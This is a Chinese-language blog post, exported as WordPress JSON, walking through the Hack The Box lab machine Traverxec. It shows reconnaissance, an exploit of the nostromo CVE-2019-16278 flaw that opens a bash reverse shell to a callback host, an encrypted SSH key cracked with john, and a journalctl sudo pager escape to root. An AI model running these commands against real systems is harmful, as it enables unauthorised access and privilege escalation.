{"id":143,"date":"2024-11-13T10:11:46","date_gmt":"2024-11-13T02:11:46","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=143"},"modified":"2024-11-13T10:11:47","modified_gmt":"2024-11-13T02:11:47","slug":"143","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/143\/","title":{"rendered":"HTB\u9776\u673a Traverxec \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code>10.10.10.165<\/code><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/megumin]\n\u2514\u2500# ping -c 4 10.10.10.165\nPING 10.10.10.165 (10.10.10.165) 56(84) bytes of data.\n64 bytes from 10.10.10.165: icmp_seq=1 ttl=63 time=302 ms\n64 bytes from 10.10.10.165: icmp_seq=2 ttl=63 time=302 ms\n64 bytes from 10.10.10.165: icmp_seq=3 ttl=63 time=302 ms\n64 bytes from 10.10.10.165: icmp_seq=4 ttl=63 time=303 ms\n\n--- 10.10.10.165 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3006ms\nrtt min\/avg\/max\/mdev = 302.146\/302.480\/303.100\/0.367 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u4e4b\u95f4<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sun Aug  4 09:11:31 2024 as: nmap -sA -p- --min-rate 2000 -oN .\/ack_result.txt 10.10.10.165\nNmap scan report for 10.10.10.165 (10.10.10.165)\nHost is up (0.30s latency).\nNot shown: 65533 filtered tcp ports (no-response)\nPORT   STATE      SERVICE\n22\/tcp unfiltered ssh\n80\/tcp unfiltered http\n\n# Nmap done at Sun Aug  4 09:12:38 2024 -- 1 IP address (1 host up) scanned in 66.64 seconds<\/code><\/pre>\n<p>\u9776\u673a\u5f00\u653e\u4e86<code>2<\/code>\u4e2a<code>TCP<\/code>\u7aef\u53e3\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code>TCP<\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sun Aug  4 09:14:50 2024 as: nmap -sS -sV -A -p 22,80 -oN .\/tcp_result.txt 10.10.10.165\nNmap scan report for 10.10.10.165 (10.10.10.165)\nHost is up (0.31s latency).\n\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)\n| ssh-hostkey: \n|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)\n|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)\n|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)\n80\/tcp open  http    nostromo 1.9.6\n|_http-title: TRAVERXEC\n|_http-server-header: nostromo 1.9.6\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nDevice type: general purpose|specialized\nRunning (JUST GUESSING): Linux 5.X|3.X|4.X (91%), Crestron 2-Series (85%)\nOS CPE: cpe:\/o:linux:linux_kernel:5.0 cpe:\/o:linux:linux_kernel:3 cpe:\/o:linux:linux_kernel:4 cpe:\/o:crestron:2_series\nAggressive OS guesses: Linux 5.0 (91%), Linux 3.10 - 4.11 (89%), Linux 3.18 (89%), Linux 3.2 - 4.9 (89%), Linux 5.1 (89%), Crestron XPanel control system (85%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using port 22\/tcp)\nHOP RTT       ADDRESS\n1   302.62 ms 10.10.14.1 (10.10.14.1)\n2   302.83 ms 10.10.10.165 (10.10.10.165)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sun Aug  4 09:15:22 2024 -- 1 IP address (1 host up) scanned in 31.76 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sun Aug  4 09:17:27 2024 as: nmap -sU -p- --min-rate 2000 -oN .\/udp_ports.txt 10.10.10.165\nNmap scan report for 10.10.10.165 (10.10.10.165)\nHost is up (0.30s latency).\nAll 65535 scanned ports on 10.10.10.165 (10.10.10.165) are in ignored states.\nNot shown: 65535 open|filtered udp ports (no-response)\n\n# Nmap done at Sun Aug  4 09:18:37 2024 -- 1 IP address (1 host up) scanned in 69.52 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3a<code>Ubuntu Linux<\/code>\uff0c\u5e76\u53d1\u73b0\u9776\u673a\u7f51\u9875\u670d\u52a1\u5668<code>Nostromo v1.9.6<\/code>\u5b58\u5728\u4e25\u91cd\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n<p>\u7aef\u53e3<code>Banner<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/megumin\/Documents\/pentest_notes\/travelxec]\n\u2514\u2500# nc -nv 10.10.10.165 22                                       \n(UNKNOWN) [10.10.10.165] 22 (ssh) open\nSSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u1<\/code><\/pre>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/travelxec.htb\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722817738856-d90e7738-89d1-402a-99a6-de76ddd475ea.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u4e3b\u9875\u4e0a\u6709\u4eba\u540d<code>David White<\/code>\uff0c\u4ee5\u53ca\u8be5\u7f51\u9875\u4f7f\u7528\u4e86<code>TemplateMag<\/code>\u6846\u67b6\u3002<\/p>\n<p>\u5c1d\u8bd5\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-plain\"># Dirsearch started Mon Aug  5 08:33:20 2024 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/travelxec.htb\/ -x 400,403,404 -t 60 -e php,js,html,asp,aspx,txt,zip,tar.gz,pcap\n\n301   315B   http:\/\/travelxec.htb\/js    -&gt; REDIRECTS TO: http:\/\/travelxec.htb\/js\/\n501   311B   http:\/\/travelxec.htb\/admin%20\/\n301   315B   http:\/\/travelxec.htb\/css    -&gt; REDIRECTS TO: http:\/\/travelxec.htb\/css\/\n301   315B   http:\/\/travelxec.htb\/icons    -&gt; REDIRECTS TO: http:\/\/travelxec.htb\/icons\/\n301   315B   http:\/\/travelxec.htb\/img    -&gt; REDIRECTS TO: http:\/\/travelxec.htb\/img\/\n200   597B   http:\/\/travelxec.htb\/js\/\n301   315B   http:\/\/travelxec.htb\/lib    -&gt; REDIRECTS TO: http:\/\/travelxec.htb\/lib\/\n200     1KB  http:\/\/travelxec.htb\/lib\/\n501   311B   http:\/\/travelxec.htb\/login.wdm%20\n501   311B   http:\/\/travelxec.htb\/New%20Folder\n501   311B   http:\/\/travelxec.htb\/New%20folder%20(2)\n501   311B   http:\/\/travelxec.htb\/phpliteadmin%202.php\n501   311B   http:\/\/travelxec.htb\/Read%20Me.txt\n200   203B   http:\/\/travelxec.htb\/Readme.txt<\/code><\/pre>\n<p>\u672a\u53d1\u73b0\u6709\u4ef7\u503c\u7684\u4fe1\u606f\u3002<\/p>\n<p>\u901a\u8fc7\u8054\u7f51\u67e5\u8be2\uff0c\u6210\u529f\u53d1\u73b0\u9776\u673a<code>HTTP<\/code>\u670d\u52a1\u5b58\u5728\u4e25\u91cd\u7684\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e<code>CVE-2019-16278<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722819643653-b840cf4c-62fa-439c-9769-df5ad53b7478.png\" alt=\"\" \/><\/p>\n<p>\u51b3\u5b9a\u4f7f\u7528\u8be5\u6f0f\u6d1e\u5bf9\u9776\u673a<code>Web<\/code>\u670d\u52a1\u5668\u8fdb\u884c\u653b\u51fb\u3002<\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u5229\u7528<\/h2>\n<p>\u5c06<code>EXP<\/code>\u4e0b\u8f7d\u5230\u672c\u5730\uff0c\u6839\u636e\u811a\u672c\u63cf\u8ff0\u6267\u884c\u653b\u51fb\u6307\u4ee4\uff1a<\/p>\n<pre><code class=\"language-shell\">.\/exp.py 10.10.10.165 80 \"\/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/10.10.14.3\/443 0&gt;&amp;1'\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722820010708-cb9d458b-7de1-4cad-8d4f-67865006a763.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u672c\u5730\u4fe1\u606f\u6536\u96c6<\/h2>\n<p><strong>\u57fa\u672c\u7cfb\u7edf\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722823624319-5ec67c13-7ffb-49ef-9250-5997315a7853.png\" alt=\"\" \/><\/p>\n<p><strong>\u8fdb\u7a0b\u5217\u8868<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722823629463-17eb0566-8f37-44fa-b893-82f35d7f5376.png\" alt=\"\" \/><\/p>\n<p><strong>\u8ba1\u5212\u4efb\u52a1\u5217\u8868<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722823636655-50c19975-593f-4983-99d8-439a67f374cc.png\" alt=\"\" \/><\/p>\n<p><strong>\u73af\u5883\u53d8\u91cf<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722823643180-9a518a08-9f32-430c-a6ba-5a51827281e0.png\" alt=\"\" \/><\/p>\n<p><strong>\u7528\u6237\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722823649870-64321ac7-61a1-46cd-98d7-a25df22637a2.png\" alt=\"\" \/><\/p>\n<p><strong>\u7528\u6237\u5bb6\u76ee\u5f55<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722823733558-67f418a2-6af7-4346-802d-afe4756a4aa3.png\" alt=\"\" \/><\/p>\n<p><strong>\u7279\u6b8a\u6743\u9650\u6587\u4ef6<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722823742837-e5359dd2-5dfa-45f5-bc96-4335ab7618f2.png\" alt=\"\" \/><\/p>\n<p><strong>\u5f00\u653e\u7aef\u53e3\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722823747566-c83c42cc-6b29-45df-b3a9-c3d4f0e27001.png\" alt=\"\" \/><\/p>\n<p><strong>\u654f\u611f\u6587\u4ef6\u6743\u9650<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722823753046-b9bdef3a-71ad-4714-ae0f-0aed744b20e2.png\" alt=\"\" \/><\/p>\n<p>\u7ecf\u5206\u6790\u7814\u5224\uff0c\u672a\u53d1\u73b0\u6709\u6548\u4fe1\u606f\u3002<\/p>\n<h2>\u53d1\u73b0SSH\u5bc6\u94a5<\/h2>\n<p>\u7ecf\u8fc7\u4fe1\u606f\u6536\u96c6\u4e4b\u540e\uff0c\u53d1\u73b0<code>david<\/code>\u7528\u6237\u7684\u5bb6\u76ee\u5f55\u65e0\u6743\u9650\u8bbf\u95ee\uff0c\u8f6c\u800c\u6536\u96c6<code>\/var\/nostromo<\/code>\u76ee\u5f55\u4e0b\u7684\u4fe1\u606f\u3002\u5728<code>.\/conf<\/code>\u76ee\u5f55\u4e0b\u53d1\u73b0\u540d\u4e3a<code>nhttpd.conf<\/code>\u7684\u914d\u7f6e\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-plain\"># MAIN [MANDATORY]\n\nservername              traverxec.htb\nserverlisten            *\nserveradmin             david@traverxec.htb\nserverroot              \/var\/nostromo\nservermimes             conf\/mimes\ndocroot                 \/var\/nostromo\/htdocs\ndocindex                index.html\n\n# LOGS [OPTIONAL]\n\nlogpid                  logs\/nhttpd.pid\n\n# SETUID [RECOMMENDED]\n\nuser                    www-data\n\n# BASIC AUTHENTICATION [OPTIONAL]\n\nhtaccess                .htaccess\nhtpasswd                \/var\/nostromo\/conf\/.htpasswd\n\n# ALIASES [OPTIONAL]\n\n\/icons                  \/var\/nostromo\/icons\n\n# HOMEDIRS [OPTIONAL]\n\nhomedirs                \/home\nhomedirs_public         public_www<\/code><\/pre>\n<p>\u53d1\u73b0\u914d\u7f6e\u6587\u4ef6\u4e2d\u63d0\u5230\u4e86\u4e00\u4e2a\u76ee\u5f55\u540d<code>public_www<\/code>\uff0c\u4f46\u901a\u8fc7<code>find<\/code>\u547d\u4ee4\u67e5\u627e\u65e0\u6cd5\u627e\u5230\u3002\u9274\u4e8e\u914d\u7f6e\u9879\u540d\u79f0\u4e3a<code>homedirs<\/code>\u548c<code>homedirs_public<\/code>\uff0c\u6000\u7591<code>public_www<\/code>\u5728<code>david<\/code>\u7528\u6237\u7684\u5bb6\u76ee\u5f55\u4e0b\u9762\u3002<\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>ls<\/code>\u547d\u4ee4\u67e5\u770b\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722824119689-95739167-3d9c-4195-8760-f4d702506db1.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u9690\u85cf\u76ee\u5f55\uff01\uff01\u5c1d\u8bd5\u67e5\u770b<code>protected-file-area<\/code>\u76ee\u5f55\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722824242868-95e8cf34-63e4-419f-ad6c-0975cbb9cdfd.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u4e86\u53ef\u7591\u7684\u538b\u7f29\u5305\uff0c\u5c06\u5176\u5728<code>\/tmp<\/code>\u89e3\u538b\uff0c\u6210\u529f\u53d1\u73b0\u52a0\u5bc6\u7684<code>SSH<\/code>\u5bc6\u94a5\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-plain\">-----BEGIN RSA PRIVATE KEY-----\nProc-Type: 4,ENCRYPTED\nDEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F\n\nseyeH\/feG19TlUaMdvHZK\/2qfy8pwwdr9sg75x4hPpJJ8YauhWorCN4LPJV+wfCG\ntuiBPfZy+ZPklLkOneIggoruLkVGW4k4651pwekZnjsT8IMM3jndLNSRkjxCTX3W\nKzW9VFPujSQZnHM9Jho6J8O8LTzl+s6GjPpFxjo2Ar2nPwjofdQejPBeO7kXwDFU\nRJUpcsAtpHAbXaJI9LFyX8IhQ8frTOOLuBMmuSEwhz9KVjw2kiLBLyKS+sUT9\/V7\nHHVHW47Y\/EVFgrEXKu0OP8rFtYULQ+7k7nfb7fHIgKJ\/6QYZe69r0AXEOtv44zIc\nY1OMGryQp5CVztcCHLyS\/9GsRB0d0TtlqY2LXk+1nuYPyyZJhyngE7bP9jsp+hec\ndTRqVqTnP7zI8GyKTV+KNgA0m7UWQNS+JgqvSQ9YDjZIwFlA8jxJP9HsuWWXT0ZN\n6pmYZc\/rNkCEl2l\/oJbaJB3jP\/1GWzo\/q5JXA6jjyrd9xZDN5bX2E2gzdcCPd5qO\nxwzna6js2kMdCxIRNVErnvSGBIBS0s\/OnXpHnJTjMrkqgrPWCeLAf0xEPTgktqi1\nQ2IMJqhW9LkUs48s+z72eAhl8naEfgn+fbQm5MMZ\/x6BCuxSNWAFqnuj4RALjdn6\ni27gesRkxxnSMZ5DmQXMrrIBuuLJ6gHgjruaCpdh5HuEHEfUFqnbJobJA3Nev54T\nfzeAtR8rVJHlCuo5jmu6hitqGsjyHFJ\/hSFYtbO5CmZR0hMWl1zVQ3CbNhjeIwFA\nbzgSzzJdKYbGD9tyfK3z3RckVhgVDgEMFRB5HqC+yHDyRb+U5ka3LclgT1rO+2so\nuDi6fXyvABX+e4E4lwJZoBtHk\/NqMvDTeb9tdNOkVbTdFc2kWtz98VF9yoN82u8I\nAk\/KOnp7lzHnR07dvdD61RzHkm37rvTYrUexaHJ458dHT36rfUxafe81v6l6RM8s\n9CBrEp+LKAA2JrK5P20BrqFuPfWXvFtROLYepG9eHNFeN4uMsuT\/55lbfn5S41\/U\nrGw0txYInVmeLR0RJO37b3\/haSIrycak8LZzFSPUNuwqFcbxR8QJFqqLxhaMztua\n4mOqrAeGFPP8DSgY3TCloRM0Hi\/MzHPUIctxHV2RbYO\/6TDHfz+Z26ntXPzuAgRU\n\/8Gzgw56EyHDaTgNtqYadXruYJ1iNDyArEAu+KvVZhYlYjhSLFfo2yRdOuGBm9AX\nJPNeaxw0DX8UwGbAQyU0k49ePBFeEgQh9NEcYegCoHluaqpafxYx2c5MpY1nRg8+\nXBzbLF9pcMxZiAWrs4bWUqAodXfEU6FZv7dsatTa9lwH04aj\/5qxEbJuwuAuW5Lh\nhORAZvbHuIxCzneqqRjS4tNRm0kF9uI5WkfK1eLMO3gXtVffO6vDD3mcTNL1pQuf\nSP0GqvQ1diBixPMx+YkiimRggUwcGnd3lRBBQ2MNwWt59Rri3Z4Ai0pfb1K7TvOM\nj1aQ4bQmVX8uBoqbPvW0\/oQjkbCvfR4Xv6Q+cba\/FnGNZxhHR8jcH80VaNS469tt\nVeYniFU\/TGnRKDYLQH2x0ni1tBf0wKOLERY0CbGDcquzRoWjAmTN\/PV2VbEKKD\/w\n-----END RSA PRIVATE KEY-----<\/code><\/pre>\n<p>\u76f4\u63a5\u4f7f\u7528<code>John<\/code>\u5de5\u5177\u7834\u89e3\uff1a<\/p>\n<pre><code class=\"language-plain\">ssh2john .\/david_sshkey &gt; .\/david_keyhash.txt\njohn .\/david_keyhash.txt --wordlist=\/usr\/share\/wordlists\/rockyou.txt<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722824670751-dcf58ecf-961d-47f4-83e2-d69e7dd08c2b.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0<code>SSH<\/code>\u79c1\u94a5\u53e3\u4ee4\uff1a<code>hunter<\/code>\uff0c\u4f7f\u7528<code>Termius<\/code>\u767b\u5f55\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722824833219-6acec0a6-1a26-4767-9ee7-93a1d63e6f96.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01<\/strong><\/p>\n<h2>journalctl\u63d0\u6743<\/h2>\n<p>\u767b\u5f55<code>david<\/code>\u7528\u6237\u4e4b\u540e\uff0c\u53d1\u73b0<code>\/home\/david\/bin<\/code>\u76ee\u5f55\u4e0b\u5b58\u5728\u4e00\u4e2a\u540d\u4e3a<code>server-stats.sh<\/code>\u7684\u811a\u672c\uff1a<\/p>\n<pre><code class=\"language-bash\">#!\/bin\/bash\n\ncat \/home\/david\/bin\/server-stats.head\necho \"Load: `\/usr\/bin\/uptime`\"\necho \" \"\necho \"Open nhttpd sockets: `\/usr\/bin\/ss -H sport = 80 | \/usr\/bin\/wc -l`\"\necho \"Files in the docroot: `\/usr\/bin\/find \/var\/nostromo\/htdocs\/ | \/usr\/bin\/wc -l`\"\necho \" \"\necho \"Last 5 journal log lines:\"\n\/usr\/bin\/sudo \/usr\/bin\/journalctl -n5 -unostromo.service | \/usr\/bin\/cat<\/code><\/pre>\n<p>\u53d1\u73b0\u811a\u672c\u6700\u540e\u4e00\u884c\u4f7f\u7528<code>sudo<\/code>\u6267\u884c\u4e86<code>journalctl<\/code>\u547d\u4ee4\uff0c\u4f46\u76ee\u524d\u65e0\u6cd5\u67e5\u770b\u5f53\u524d\u7528\u6237\u7684<code>Sudo<\/code>\u6743\u9650\u3002<\/p>\n<p>\u5c1d\u8bd5\u8fd0\u884c\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722830423419-9cd69f1c-5c41-4693-8618-6f488b47979b.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u811a\u672c\u6210\u529f\u4f7f\u7528<code>Sudo<\/code>\u6267\u884c\u4e86<code>journalctl<\/code>\uff0c\u4f46<code>journalctl<\/code>\u5374\u6ca1\u6709\u542f\u52a8\u5206\u9875\u6587\u672c\u8f93\u51fa\u5de5\u5177\u6765\u663e\u793a\u670d\u52a1\u72b6\u6001\u3002\u63a8\u6d4bShell\u73af\u5883\u53ef\u80fd\u5b58\u5728\u4e00\u4e9b\u95ee\u9898\u3002<\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>Python<\/code>\u65b0\u5efa\u4e00\u4e2a<code>PTY<\/code>\u73af\u5883\u6765\u5355\u72ec\u6267\u884c\u6700\u540e\u4e00\u884c\u547d\u4ee4\uff08\u4f7f\u7528<code>\/bin\/sh<\/code>\uff09\uff1a<\/p>\n<pre><code class=\"language-shell\">\/usr\/bin\/sudo \/usr\/bin\/journalctl -n5 -unostromo.service\n!\/bin\/bash<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722830717784-bcc7ff33-09f3-4290-b0b4-17fbd7b1af32.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>Flag\u6587\u4ef6\u5c55\u793a<\/h1>\n<pre><code class=\"language-plain\">f5c007cd2c28b78782c6a0daa41b1cdc<\/code><\/pre>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.165 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b \u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/m &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-143","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/143","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=143"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/143\/revisions"}],"predecessor-version":[{"id":144,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/143\/revisions\/144"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=143"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=143"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=143"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}